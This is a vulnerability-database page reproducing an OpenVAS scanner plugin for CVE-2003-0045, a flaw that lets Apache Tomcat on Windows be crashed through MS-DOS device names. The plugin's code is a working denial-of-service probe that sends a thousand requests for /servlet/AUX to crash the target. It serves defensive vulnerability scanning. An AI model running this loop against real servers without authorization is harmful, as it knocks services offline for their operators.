Lucene search

K

Tomcat servlet engine MS/DOS device names denial of service

🗓️ 03 Nov 2005 00:00:00Reported by Copyright (C) 2002 Michel ArboiType 
openvas
 openvas
🔗 plugins.openvas.org👁 15 Views

Tomcat servlet engine MS/DOS device names denial of service. Windows and web server freeze/crash via Tomcat servlet engine reading MS/DOS device names

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2003-0045
1 Sep 200404:00
cve
Cvelist
CVE-2003-0045
1 Sep 200404:00
cvelist
Github Security Blog
Jakarta Tomcat Denial of Service vulnerability
29 Apr 202201:25
github
Apache Tomcat
Fixed in Apache Tomcat 3.3.1
1 Sep 200400:00
tomcat
OSV
Jakarta Tomcat Denial of Service vulnerability
29 Apr 202201:25
osv
Tenable Nessus
Apache Tomcat MS-DOS Device Name Request DoS
25 Oct 200200:00
nessus
NVD
CVE-2003-0045
7 Feb 200305:00
nvd
# SPDX-FileCopyrightText: 2002 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

# See also script 10930 http_w98_devname_dos.nasl

CPE = "cpe:/a:apache:tomcat";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.11150");
  script_version("2023-08-01T13:29:10+0000");
  script_tag(name:"last_modification", value:"2023-08-01 13:29:10 +0000 (Tue, 01 Aug 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_cve_id("CVE-2003-0045");
  script_name("Tomcat servlet engine MS/DOS device names denial of service");
  script_category(ACT_KILL_HOST);
  script_copyright("Copyright (C) 2002 Michel Arboi");
  script_family("Denial of Service");
  script_dependencies("gb_apache_tomcat_consolidation.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 8080);
  script_mandatory_keys("apache/tomcat/http/detected", "Host/runs_windows");

  script_tag(name:"solution", value:"Upgrade your Apache Tomcat web server to version 4.1.10.");

  script_tag(name:"summary", value:"It was possible to freeze or crash Windows or the web server
  by reading a thousand of times a MS/DOS device through Tomcat servlet engine, using a file name
  like /examples/servlet/AUX.");

  script_tag(name:"impact", value:"A cracker may use this flaw to make your system crash
  continuously, preventing you from working properly.");

  script_tag(name:"affected", value:"Apache Tomcat 3.3

  Apache Tomcat 4.0.4

  All versions prior to 4.1.x may be affected as well.

  Apache Tomcat 4.1.10 (and probably higher) is not affected.

  Microsoft Windows 2000

  Microsoft Windows NT may be affected as well.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_probe");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if( http_is_dead( port:port ) ) exit( 0 );
soc = http_open_socket( port );
if( ! soc ) exit( 0 );

start_denial();

# We should know where the servlets are
url = "/servlet/AUX";
req = http_get( item:url, port:port );

for( i = 0; i <= 1000; i++ ) {

  send( socket:soc, data:req );
  http_close_socket( soc );
  soc = http_open_socket( port );
  if( ! soc ) {
    sleep( 1 );
    soc = http_open_socket( port );
    if( ! soc )
      break;
  }
}

if( soc ) http_close_socket( soc );
alive = end_denial();

if( ! alive || http_is_dead( port:port ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
03 Nov 2005 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS25
EPSS0.0171
15
.json
Report